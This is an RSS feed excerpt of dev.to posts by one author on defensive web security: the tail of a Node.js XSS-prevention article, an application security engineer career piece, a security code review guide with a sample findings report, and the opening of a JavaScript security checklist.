  &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/post/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;postId&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="c1"&gt;// DOM-based XSS&lt;/span&gt;
&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sanitizeObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;render&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;home&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In these examples, the &lt;code&gt;sanitizeInput()&lt;/code&gt; and &lt;code&gt;sanitizeObject()&lt;/code&gt; functions would remove any potentially malicious code from the user input before it is used in the application. This can help to prevent attackers from being able to inject malicious code into the application.&lt;/p&gt;

&lt;p&gt;Overall, XSS attacks are a serious threat to web applications, and it's important to take steps to prevent them. By sanitizing user input and following best practices for web security, you can help to protect your Node.js application from XSS attacks.&lt;/p&gt;

</description>
      <category>learning</category>
    </item>
    <item>
      <title>Application Security Engineer journey</title>
      <dc:creator>Bour Abdelhadi</dc:creator>
      <pubDate>Sat, 09 Oct 2021 18:11:33 +0000</pubDate>
      <link>https://forem.com/bscript/application-security-engineer-5dn8</link>
      <guid>https://forem.com/bscript/application-security-engineer-5dn8</guid>
      <description>&lt;h3&gt;
  
  
  Introduction
&lt;/h3&gt;

&lt;p&gt;When you start working as an application security engineer, you'll expect to find straightforward tasks to do. But this is not the case because each company has its vision and strategies to handle data security, which can let us infer that every organization's security maturity may differ from one to another.&lt;/p&gt;

&lt;p&gt;Viewing data breaches and cyber incidents all the time proves that no one out there has a mature cyber security program.&lt;/p&gt;

&lt;p&gt;If you are already working in this field, I imagine that you sometimes feel that you're achieving nothing and you are more invisible inside the organization. The bigest challenge I see is how to increase your visibility and have more transparency with your manager and the rest of your co-workers.&lt;/p&gt;

&lt;p&gt;In this article, I'd like to share what I've learned while working in this field.&lt;/p&gt;

&lt;h3&gt;
  
  
  Understand the business &amp;amp; the product of the company.
&lt;/h3&gt;

&lt;p&gt;Before jumping into security, you should know the product you are supporting inside out. If you don't understand what's behind the scene, you can't be expected to find vulnerabilities and flaws.&lt;/p&gt;

&lt;p&gt;How to do that?&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Read the documentation.&lt;/li&gt;
&lt;li&gt;Ask questions, and don't be shy or arrogant.&lt;/li&gt;
&lt;li&gt;Shadowing can sometimes help to accelerate the learning process.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Read or contribute to the work processes and procedures.
&lt;/h3&gt;

&lt;p&gt;Processes &amp;amp; procedures provide a way to understand:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What needs to be done and why?&lt;/li&gt;
&lt;li&gt;How do those processes need to be achieved, who performs them, what is the purpose?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Ask for these documents, in the beginning to avoid asking unnecessary questions in the future. &lt;/p&gt;

&lt;p&gt;Keep in mind that your contribution will make you more visible, and it's a good sign that you understand how things are working inside.&lt;/p&gt;

&lt;h3&gt;
  
  
  Know how to test your product effectively.
&lt;/h3&gt;

&lt;p&gt;I usually create a test plan before beginning my journey in finding vulnerabilities and flaws. To do that, ask your self few questions like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Are you following the proper process?&lt;/li&gt;
&lt;li&gt;What are you testing (determine the scope)?&lt;/li&gt;
&lt;li&gt;Do you have all the resources you need to perform this testing?&lt;/li&gt;
&lt;li&gt;Is there any timeframe I need to respect to deliver my report?&lt;/li&gt;
&lt;li&gt;Who is the audience (C-level executives, software engineers, etc.)?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When you get relevant responses to these questions, start diving into the SDLC to understand the workflow and see how you fit in because you should be part of the development lifecycle(design, requirements, etc.). Thus you can integrate security in each stage (read this &lt;a href="https://www.oreilly.com/library/view/agile-application-security/9781491938836/" rel="noopener noreferrer"&gt;Agile Application Security book&lt;/a&gt; and thank me later ;).&lt;/p&gt;

&lt;p&gt;&lt;em&gt;If you are involved in the early stage development phase, consider using threat modeling to help your team to quantify risks and vulnerabilities&lt;/em&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Automation is a good thing.
&lt;/h3&gt;

&lt;p&gt;When you start working with tools like SAST, IAST, DAST, SCA, etc., find a way to integrate these tools in the build cycle / continuous integration, so you'll be able to check your source code for known vulnerabilities in case of new commits.&lt;/p&gt;

&lt;p&gt;The results you get from these tools require human hands to review and validate the reported issues. You need to use a &lt;em&gt;vulnerability management system&lt;/em&gt; to maintain product and application information, triage vulnerabilities, and push findings to systems like JIRA and Slack. e.g.:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Nessus.&lt;/li&gt;
&lt;li&gt;IBM Security QRadar.&lt;/li&gt;
&lt;li&gt;DefectDojo.&lt;/li&gt;
&lt;li&gt;AlienVault USM (from AT&amp;amp;T Cybersecurity).&lt;/li&gt;
&lt;li&gt;SaltStack.&lt;/li&gt;
&lt;li&gt;BurpSuite.&lt;/li&gt;
&lt;li&gt;Acunetix by Invicti.&lt;/li&gt;
&lt;li&gt;Qualys Cloud Platform.&lt;/li&gt;
&lt;li&gt;InsightVM (Nexpose).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;Use a standard (OWASP, NIST, OSSTM, etc.)&lt;/em&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Work with third-party pen-testers
&lt;/h3&gt;

&lt;p&gt;Some companies prefer to work with third-party Pentesting companies to get a second validation and excellent report to show to the auditors ;). So you may be invited to attend some meetings to share your experience and help the external testers to determine the critical assets, etc.&lt;/p&gt;




&lt;p&gt;...There are still many things to talk about; I will edit this article when I have more time.&lt;/p&gt;




&lt;p&gt;If you want to succeed in this job, consider working collaboratively with the rest of the team.&lt;/p&gt;




&lt;p&gt;You can reach me out on LinkedIn if you have questions &lt;a href="https://www.linkedin.com/in/bohr/" rel="noopener noreferrer"&gt;@Bour Abdelhadi&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>programming</category>
      <category>productivity</category>
      <category>career</category>
    </item>
    <item>
      <title>My code review journey as a Web Security Engineer</title>
      <dc:creator>Bour Abdelhadi</dc:creator>
      <pubDate>Fri, 01 Oct 2021 11:30:11 +0000</pubDate>
      <link>https://forem.com/bscript/my-code-review-journey-as-a-web-security-engineer-581i</link>
      <guid>https://forem.com/bscript/my-code-review-journey-as-a-web-security-engineer-581i</guid>
      <description>&lt;h1&gt;
  
  
  Summary
&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;Introduction&lt;/li&gt;
&lt;li&gt;Objectives&lt;/li&gt;
&lt;li&gt;How to work effectively?&lt;/li&gt;
&lt;li&gt;Input&lt;/li&gt;
&lt;li&gt;Output&lt;/li&gt;
&lt;li&gt;Steps&lt;/li&gt;
&lt;li&gt;High-level process flow&lt;/li&gt;
&lt;li&gt;RC sample code review report&lt;/li&gt;
&lt;li&gt;Conclusion&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;Code review is a part of regular development practices for any corporation. However, adding security elements to the code review is the most effective measure in preventing vulnerabilities, even before the first commit. Additionally, the code review process provides itself with sharing security best practices amongst a development team. Finally, it produces 'lessons' that we can learn to prevent future bugs.&lt;/p&gt;

&lt;p&gt;The primary purpose of security engineers is to work collaboratively with the rest of the team to figure out a way not to reproduce the same vulnerabilities or at least implement a mechanism to minimize them.&lt;/p&gt;

&lt;h2&gt;
  
  
  Objectives
&lt;/h2&gt;

&lt;p&gt;By executing the steps in this guide, you will be capable to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Identify specific security-related flaws within the code.&lt;/li&gt;
&lt;li&gt;Generate a list of security issues found in the code that we should prioritize for mitigation.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  How to work effectively?
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Set a time frame for your code reviews.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To not lose track of the higher-level security vulnerabilities you are looking for, Set a reasonable time frame on your reviews and use it to keep yourself from getting stuck. If you find yourself spending too much time on one place, mark it for later review and move to the next one.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Set clear objectives for your review.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A focused review is a helpful review. Spend time at the beginning of your review to understand the RC (Release candidate) tickets, and after that, check the bugs that are possible in the code you are reviewing.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Review small and manageable chunks of code.&lt;/li&gt;
&lt;li&gt;Understand well the inputs and outputs for the code you are reviewing.&lt;/li&gt;
&lt;li&gt;Review only for security issues.&lt;/li&gt;
&lt;li&gt;Ask for help from the engineering team in case of missing comments and documentation.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Input
&lt;/h2&gt;

&lt;p&gt;The following inputs are crucial to perform an efficient code review:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Architecture diagram&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Use this to understand the high-level functioning of the application to help you identify possible security flaws at the very beginning and mitigate them before starting the development process.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Usage scenarios&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Before jumping directly to the code, you must understand the usage and the purpose by reading the content of the tickets on the RC page. Otherwise, the code will be ambiguous.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Data flow&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Any external inputs consider dangerous &amp;amp; untrusted; you should always trace the data flow from the &lt;em&gt;source&lt;/em&gt; to the &lt;em&gt;sink&lt;/em&gt;.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Inputs and outputs&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Performing &lt;em&gt;dataflow analysis&lt;/em&gt; is necessary to know each type of input and output the codebase has; you must use static analysis tools like &lt;a href="https://sonarqube.com/" rel="noopener noreferrer"&gt;SonarQube&lt;/a&gt; because it will be time-consuming doing this task manually.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Expert help&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you find it challenging to understand the business logic or the technical solution, go to the ticket and ask for more clarification.&lt;/p&gt;

&lt;h2&gt;
  
  
  Output
&lt;/h2&gt;

&lt;p&gt;The code review aims to generate a list of bugs that we can fix to enhance the platform's security. &lt;/p&gt;

&lt;p&gt;For more visibility, your list should contain:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Ticket ID&lt;/li&gt;
&lt;li&gt;The vulnerable code snippet.&lt;/li&gt;
&lt;li&gt;Proof of concept including exploitation and the impacts of the vulnerability.&lt;/li&gt;
&lt;li&gt;Recommendations that help shorten the time to remediate vulnerabilities.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr23szqrathepjjkw8s2o.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr23szqrathepjjkw8s2o.png" alt="Flow" width="640" height="950"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Steps
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Static Analysis Scan (SAST)&lt;/strong&gt;&lt;br&gt;
In this step, use a static analysis tool like &lt;a href="https://www.sonarqube.org/" rel="noopener noreferrer"&gt;SonarQube&lt;/a&gt; to analyze the codebase, looking for flaws in these codes that may compromise security.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Threat modeling&lt;/strong&gt;&lt;br&gt;
The threat modeling process will help you understand the application and how it interacts with external entities. It includes creating use-cases to know how the application is working, identifying entry points to see where a potential intruder could interact with the application.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Identify code review objectives.&lt;/strong&gt;&lt;br&gt;
Code review objectives are a set of vulnerability types you will be looking for in the application based on its architecture and identified threats. For instance, it is not essential to look for SQL injection bugs if the application has no interactions with a database.&lt;br&gt;
Examples of code review objectives:&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;Ensure that all untrusted external inputs are passed to a validation routine before being used.&lt;/li&gt;
&lt;li&gt;Ensure that the application is built to handle all possible errors gracefully. When errors occur, the site should respond with a mainly designed result that is helpful to the user without revealing unnecessary internal details.&lt;/li&gt;
&lt;li&gt;Check cryptographic algorithms to ensure secrets are cleared quickly.&lt;/li&gt;
&lt;li&gt;Check the application routes to see how does user input maps to the application.&lt;/li&gt;
&lt;li&gt;Search for sensitive Keywords, i.e., token, password, select, encode, decode, sanitize, etc.&lt;/li&gt;
&lt;li&gt;Check every result from the SAST (SonarQube), which runs against the target codebase.&lt;/li&gt;
&lt;li&gt;Once you find a valid vulnerability, &lt;em&gt;perform search queries on the codebase for more issues of the same type&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Look for an entry point.&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This step will take a detailed look at the code to find as many security vulnerabilities as possible. You should use the set of goals we developed in stages 1,2 and 3 for guidance.&lt;/p&gt;

&lt;p&gt;We should also have the following handy:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;List all the Hotspots from step 1.&lt;/li&gt;
&lt;li&gt;Review all the security Hotspots to identify which of the vulnerabilities discovered in the codebase require mitigation steps and which can be treated as "&lt;em&gt;false positives.&lt;/em&gt;" Among those requiring attention, you then need to prioritize the urgency of each vulnerability and plan the implementation of mitigation steps.&lt;/li&gt;
&lt;li&gt;Perform dataflow analysis.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;What should you focus on analyzing the report generated from SAST?&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Inputs&lt;/strong&gt; - Find all the list of inputs and then pair this up to the code you need to review. For example, you should mark all the public interfaces, UI, database interaction, socket interaction, file IO, and other areas where your application can accept data as critical for review.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hard-coded strings&lt;/strong&gt; - Look for any hard-coded sensitive data, such as a password, cryptographic key, outbound communication to external components, or encryption of internal data, etc.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Error handling code&lt;/strong&gt; - Look for all the error handling and see if they are handled securely. Because this may expose sensitive information – sometimes leading to vulnerabilities.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Session Management&lt;/strong&gt; - Look for any weak session identifier generation, session replay, session fixation, etc.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Logical Attacks&lt;/strong&gt; - Understand the business logic of the code because the SAST can't detect things like abuse of functionality, workflow bypass ..etc.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Code Quality.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Application Resource Handling&lt;/strong&gt; - LFI, XXE, L/RFI, RCE&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  High-level process flow
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftmfvb0l3pteywb5okm0h.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftmfvb0l3pteywb5okm0h.png" alt="High Level Process Flow" width="800" height="266"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  RC sample code review report
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Ticket Link: [T-link]&lt;/li&gt;
&lt;li&gt;Release Version: [R-version]&lt;/li&gt;
&lt;li&gt;Assignee: [Name]&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Overview&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#NO&lt;/th&gt;
&lt;th&gt;Affected URL/File&lt;/th&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Risk Level&lt;/th&gt;
&lt;th&gt;Ticket ID&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;&lt;a href="https://codebor.com/index.php?id=" rel="noopener noreferrer"&gt;https://codebor.com/index.php?id=&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;SQL INJECTION&lt;/td&gt;
&lt;td&gt;&lt;span&gt;CRITICAL&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;TICK-001&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;&lt;a href="https://codebor.com/page.php?c=" rel="noopener noreferrer"&gt;https://codebor.com/page.php?c=&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;XSS&lt;/td&gt;
&lt;td&gt;&lt;span&gt;MEDIUM&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;TICK-002&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#NO&lt;/th&gt;
&lt;th&gt;Vulnerability Class&lt;/th&gt;
&lt;th&gt;Item Tested&lt;/th&gt;
&lt;th&gt;Status&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Access Control&lt;/td&gt;
&lt;td&gt;&lt;ul&gt;
&lt;li&gt;Inadequate Auditing Controls.&lt;/li&gt;
&lt;li&gt;Unlimited Login Attempts.&lt;/li&gt;
&lt;li&gt;Password Complexity Policy&lt;/li&gt;
&lt;/ul&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;PASSED&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Session Management&lt;/td&gt;
&lt;td&gt;&lt;ul&gt;
&lt;li&gt;Weak Session Identifier Generation.&lt;/li&gt;
&lt;li&gt;Session Replay.&lt;/li&gt;
&lt;li&gt;Session Fixation&lt;/li&gt;
&lt;li&gt;Insufficient Session Expiration.&lt;/li&gt;
&lt;/ul&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;PASSED&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Data Validation&lt;/td&gt;
&lt;td&gt;&lt;ul&gt;
&lt;li&gt;&lt;span&gt;Improper Input Validation.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;Dynamic SQL Commands.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Improper Output Encoding.&lt;/li&gt;
&lt;li&gt;Format Strings&lt;/li&gt;
&lt;/ul&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;FAILED&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Application Resource Handling&lt;/td&gt;
&lt;td&gt;&lt;ul&gt;
&lt;li&gt;Path Traversal.&lt;/li&gt;
&lt;li&gt;Predictable Object Identifiers.&lt;/li&gt;
&lt;li&gt;XML Entity Expansion.&lt;/li&gt;
&lt;li&gt;Local &amp;amp; Remote File Inclusion.&lt;/li&gt;
&lt;li&gt;Shell command execution.&lt;/li&gt;
&lt;/ul&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;PASSED&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Cryptography&lt;/td&gt;
&lt;td&gt;&lt;ul&gt;
&lt;li&gt;Weak Algorithms.&lt;/li&gt;
&lt;li&gt;Poor Key Management.&lt;/li&gt;
&lt;li&gt;Insecure Data Storage.&lt;/li&gt;
&lt;/ul&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;PASSED&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;Logical Attacks&lt;/td&gt;
&lt;td&gt;&lt;ul&gt;
&lt;li&gt;Abuse of Functionality.&lt;/li&gt;
&lt;li&gt;Workflow Bypass.&lt;/li&gt;
&lt;/ul&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;PASSED&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;“Hidden” Functionality&lt;/td&gt;
&lt;td&gt;&lt;ul&gt;
&lt;li&gt;Debugging Interfaces.&lt;/li&gt;
&lt;li&gt;Undocumented Inputs.&lt;/li&gt;
&lt;/ul&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;PASSED&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;Code Quality&lt;/td&gt;
&lt;td&gt;&lt;ul&gt;
&lt;li&gt;Verbose Error Messages.&lt;/li&gt;
&lt;li&gt;Unused / Dead Code.&lt;/li&gt;
&lt;li&gt;Improper Exception / Error Handling&lt;/li&gt;
&lt;li&gt;Inconsistent Logging.&lt;/li&gt;
&lt;/ul&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;PASSED&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;"It's much more useful to think of security as being a vector to follow rather than a point to be reached. Vectors have size and direction, and you should think about the direction you want to go in pursuit of security and how fast you'd like to chase it. However it's path you will continue to walk forever."&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;You can reach me out on LinkedIn if you have questions &lt;a href="https://www.linkedin.com/in/in/bohr" rel="noopener noreferrer"&gt;@Bour Abdelhadi&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Do you want to support me? &amp;gt; &lt;a href="https://www.paypal.com/paypalme/bohrhadi" rel="noopener noreferrer"&gt;💲&lt;/a&gt; Thanks :D&lt;/p&gt;

</description>
      <category>security</category>
      <category>webdev</category>
      <category>agile</category>
    </item>
    <item>
      <title>Javascript Security Checklist</title>
      <dc:creator>Bour Abdelhadi</dc:creator>
      <pubDate>Wed, 29 Sep 2021 17:38:18 +0000</pubDate>
      <link>https://forem.com/bscript/javascript-security-checklist-af</link>
      <guid>https://forem.com/bscript/javascript-security-checklist-af</guid>
      <description>&lt;h1&gt;
  
  
  Summary
&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;Introduction&lt;/li&gt;
&lt;li&gt;1. Code Linting &amp;amp; SAST&lt;/li&gt;
&lt;li&gt;2. Running a security audit with npm audit&lt;/li&gt;
&lt;li&gt;
3. Integrity checking for JavaScript (SRI)

&lt;ul&gt;
&lt;li&gt;How does it work?&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;4. Validations, Validations, Validations!&lt;/li&gt;

&lt;li&gt;5. Minify and obfuscate your Javascript&lt;/li&gt;

&lt;li&gt;Conclusion&lt;/li&gt;

&lt;/ul&gt;

&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;Javascript is everywhere, It runs inside your browser, &lt;a href="https://openjsf.org/wp-content/uploads/sites/84/2020/02/Case_Study-Node.js-NASA.pdf" rel="noopener noreferrer"&gt;astronaut spacesuit&lt;/a&gt;, and most developers use it as a client-side and server-side programming language to allow them to create interactive web pages.&lt;/p&gt;

&lt;p&gt;Javascript is a lightweight, interpreted programming language with first-class functions.&lt;/p&gt;

&lt;p&gt;In addition, the Javascript ecosystem relies heavily on &lt;a href="https://npm.anvaka.com/" rel="noopener noreferrer"&gt;third-party libraries&lt;/a&gt;; &lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr5og8qisjk67p9er2kl4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr5og8qisjk67p9er2kl4.png" alt="Visualization of npm shows dependency graph of an npm package." width="800" height="510"&gt;&lt;/a&gt;&lt;br&gt;
Therefore, ensuring the security of JavaScript requires following security best practices to reduce attack surfaces. But how do we keep JavaScript applications safe?&lt;/p&gt;

&lt;p&gt;I will be sharing with you in this article some helpful tips I use every day as a security engineer so you can start thinking more about security before deploying your code to production.&lt;/p&gt;
&lt;h2&gt;
  
  
  1. Code Linting &amp;amp; SAST
&lt;/h2&gt;

&lt;p&gt;Seeing real-time feedback through linting while you're coding inside your IDE can help you accelerate development and reduce costs by finding errors and security issues earlier.&lt;/p&gt;

&lt;p&gt;You can use: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://www.jslint.com/" rel="noopener noreferrer"&gt;JSLint&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://jshint.com/" rel="noopener noreferrer"&gt;JSHint&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://standardjs.com/" rel="noopener noreferrer"&gt;Standard JS&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://eslint.org/" rel="noopener noreferrer"&gt;ESLint﻿&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Most SAST tools like &lt;a href="https://www.sonarlint.org/" rel="noopener noreferrer"&gt;SonarQube&lt;/a&gt; provide more features to identify code smells and known security vulnerabilities.&lt;br&gt;
